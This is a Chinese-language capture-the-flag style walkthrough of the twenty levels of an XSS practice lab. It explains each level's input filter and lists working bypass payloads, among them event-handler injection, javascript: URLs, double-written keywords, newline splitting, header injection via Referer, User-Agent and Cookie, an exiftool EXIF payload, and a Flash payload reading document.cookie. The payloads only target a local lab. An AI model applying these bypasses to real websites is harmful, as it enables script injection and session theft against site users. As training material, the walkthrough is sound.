XSS挑战之旅平台通关练习(1-20)
1、第一關
比較簡單,測試語句:
<svg/onload=alert(1)><script>confirm(1)</script><script>prompt(1)</script><script>alert(1)</script>html頁面簡單的三種對話框如下:
1、alert(),最簡單的提示框:
alert("你好!");
2、confirm(),有確認和取消兩個按鈕:
if(confirm("還有繼續嗎?")){
??? alert("繼續");
}else{
??? alert("再見");
}
3、prompt(),可以輸入信息:
var name = prompt("你的名字是:");
alert("你好," + name);
2、第二關
此處為搜索型的xss,分析代碼,使用的是get方法,從url中接受一個keyword搜索參數,此處用到了一個過濾函數htmlspecialchars(),這個函數把預定義的字符轉換為HTML實體,“>”和“<”轉義了,屬于黑名單繞過,那就是不使用被過濾的符號,使用js的事件,如:" οnmοuseοver=alert(2) >click。還需要注意的地方就是前面的符號閉合.
另一個payload:
"><sript>alert(2)</script>仍然是注意前面的閉合,就可以了。
3、第三關
這一關,過濾規則的更嚴格了,經過測試,“>”,“<”,“"”,被過濾了,但是單引號“'”,沒有過濾,所以此處嘗試js語句,“' οnmοuseοver=alert(3)//”測試,后面無法閉合,所以使用了注釋“//”。
' onmouseover=alert(3)//4、第四關
研究一下源碼,如下圖,可以看到,傳入進去的值經過了兩個函數的參與,str_replace(">","",$str),此函數是將變量str中的字符>轉換為空,轉換時區分大小寫;同樣也把<轉換為空,然后再經過函數的過濾轉化,這時要在沒有符號“<>”,的情況下構造語句,并且不被htmlspecialchars()函數影響。所以這里可以構造一個輸入到文本框后出現相應的事件。
Payload:" onfocus=alert(4) autofocus=""onlick=alert(4)//onfocus事件:定義的事件將在對象獲得焦點時觸發,這里指input標簽獲得焦點。autofocus屬性:input標簽的屬性,當頁面加載input標簽,自動獲得焦點。焦點:這里指你的光標的位置,也就是說當你的光標出現在input文本框這里,將進行onfocus事件的發生。Payload
" onchange=alert`1` " " onchange=alert`1` // " oninput=alert`1` " " oninput=alert`1` //5、第五關
源碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <h2 align=center>沒有找到和test相關的結果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的長度:4</h3></body> </html>這次是on替換成了o_n script替換成了sc_ript,很明顯這是不讓我們用事件和script啊
"> <iframe src=javascript:alert(5)> "> <a href="javascript:%61lert(1)">click me</a> // "> <a href="javascript:alert('xss')">111</a> // "> <a href="javascript:alert(/1/)">axxx</a> //6、第六關
經過查看源代碼發現過濾了很多的字符,其中
7、第七關
根據代碼顯示,script,on,src,data,href都直接轉換成空了,大小寫也不能用了。所以嘗試雙寫繞過。
payload:"><scriscriptpt>alert(7)<scrscriptipt> " oonnmouseover=alert(7)// "><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>// " oonninput=alert(1) " "> <scscriptript>alert`xss`</scscriptript> //8、第八關
分析代碼可知,
"script"轉換為"scr_ipt","on"轉換為"o_n","src"轉換為"sr_c","data"轉換為"da_ta","href"轉換為"hr_ef",'"'轉換為'"',大小寫過濾并被編碼,尖括號><,單引號',%,#,&符號沒有被過濾,輸出點在a標簽內,href屬性中,屬性里的雙引號被轉換成HTML實體,無法截斷屬性,這里可以使用偽協議繞過javascript:alert,由于script關鍵字被過濾,javascript會被替換成javasc_ript,使用r來代替r,偽協議后面可以使用URL編碼進行編碼。
Payload:javascript:alert(8)javascript:%61lert(8)javascript:%61lert`1`javascript:alert`1`9、第九關
"script"轉換為"scr_ipt","on"轉換為"o_n","src"轉換為"sr_c","data"轉換為"da_ta","href"轉換為"hr_ef",'"'轉換為'"',和上一關差不多,不同的是多了自動檢測URL,如果發現沒有帶http://內容則會顯示為不合法。
payload:javascript:alert(9)//http://a.com // 利用注釋javascript:%0dhttp://a.com%0dalert(9) // 不利用注釋javascript:%0ahttp://a.com%0dalert(9) // 不利用注釋10、第十關
分析代碼,發現需要兩個參數,一個是keyword,一個是t_sort,尖括號<>都被轉換成空,還有三個hidden的隱藏輸入框,或許可以從隱藏的輸入框下手,構造payload。
payload:keyword=well done!&t_sort=" onmouseover=alert(1) type="text" keyword=well done!&t_sort="; type="text" onclick="alert()查看頁面源碼:
Keyword=aaa&t_sort=" type="text" onmouseover="alert(10)Keyword=aaa&t_sort=" type="text" onmouseover=alert`1`11、第十一關
分析代碼,相比上一關,多了一個str11=$_SERVER['HTTP_REFERER'];驗證的是http頭部的xss注入,使用burp抓包,修改相應的字段,構造http頭部referer的payload。
頭部本身沒有Referer,自行添加了,
payload:Referer:" onmouseover=alert(11) type="text"Referer:" onclick="alert(11)" type="text12、第十二關
查看代碼,str11=str11=_SERVER['HTTP_USER_AGENT'];應該是User-Agent的http頭部注入,burp抓包,構造頭部User-Agent的payload。
User-Agent:" onmouseover=alert(12) type="text"User-Agent:" onclick="alert(12)" type="text13、第十三關
查看代碼,這次是cookie類型的xss注入,setcookie("user", "call me maybe?", time()+3600);
構造payload:Cookie:" onmouseover=alert(13) type="text"Cookie:" onclick="alert(13)" type="text14、第十四關
這一關的圖片一直加載不出來,所以也沒有辦法進行測試了。于是在網上找了一些參考,自己記錄一下:
查看源碼發現exif,猜測應該是exif xss,但是這個鏈接由于網絡的原因無法訪問,exif xss,一般利用于文件上傳的地方,最經典的就是頭像上傳,上傳一個圖片,該圖片的exif元數據被修改為xss payload,成功利用彈窗,具體實現使用kali下的exiftool工具,命令如下:
exiftool -FIELD=XSS FILEexiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg15、第十五關
查看代碼,這一關是關于angular?js的知識,ng-include有包含文件的意思,也就是相當于php里面的include,此處可以包含第一關的頁面
構造payload:在url處寫入語句,src='level1.php?name=<img src=x onerror=alert(1)>'如下圖所示,這個沒有利用成功,搜索到的另一個作者說是,因為這里需要訪問angular.main.js這個js文件,才能進行包含,虛擬機的環境中無法訪問,看樣子是需要fanqiang的,暫時無法實現,最近國慶,抓的很嚴,我買的也掛掉了。。。AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的內容將作為指定元素的子節點。
ng-include 屬性的值可以是一個表達式,返回一個文件名。
默認情況下,包含的文件需要包含在同一個域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element><ng-include src="filename" οnlοad="expression" autoscroll="expression" ></ng-include><body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>2019/10/7更新:今天又弄了一個臨時的vpn,緊接著就進行了測試,如下圖顯示,測試成功:
16、第十六關
查看代碼發現大小寫繞過失效,script、/、,等都被轉換成 ,這時,可以嘗試使用%0a,%0d來進行繞過。
構造語句:Keyword=<img%0dsrc=a%0donerror=alert(16)>Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe>Keyword=<svg%0aonload=alert`16`></svg>17、第十七關
測試語句:arg01=a&arg02=%20onmouseover=alert`1`/level17.php?arg01=a&arg02= onmouseover=alert(1)http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)18、第十八關
這一關和上一關一樣。
payload:
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1) http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1` http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`19、第十九關
Flash?xss
頁面源碼,未插入語句時:
頁面源碼,插入語句后:
Payload:192.168.40.129/xss/level19.php?arg01=version&arg02=<ahref="javascript:alert(document.domain)">xss_by_didi</a>點擊“xss_by_didi”就可以觸發XSS。彈窗:
網上找了下大神的答案,這里記錄一下:
flash xss,需要對flash的反編譯對源碼進行分析,這里使用jpexs-decompiler來分析,首先定位getURL函數
然后追蹤到sIFR的內容
得知version參數可以傳入loc4變量中,即sIFR的內容中,但是getURL只在內容為link時打開,所以分析contentIsLink函數
所以我們可以構造<a > </a> 標簽來傳值http://localhost/xss_test/level19.php?arg01=version&arg02=<ahref="javascript:alert(1)">111111</a>20、第二十關
看著就好難。說是將swf下載下來分析得知是zeroclipboard.swf,有漏洞詳情,因此構造出的payload就是上面的那句話,我就直接放進去測試一下成功率吧。
payload
level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height總結
以上是生活随笔為你收集整理的XSS挑战之旅平台通关练习(1-20)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [XJOI]最大K段和 题解
- 下一篇: docker 设置国内镜像源(网易、us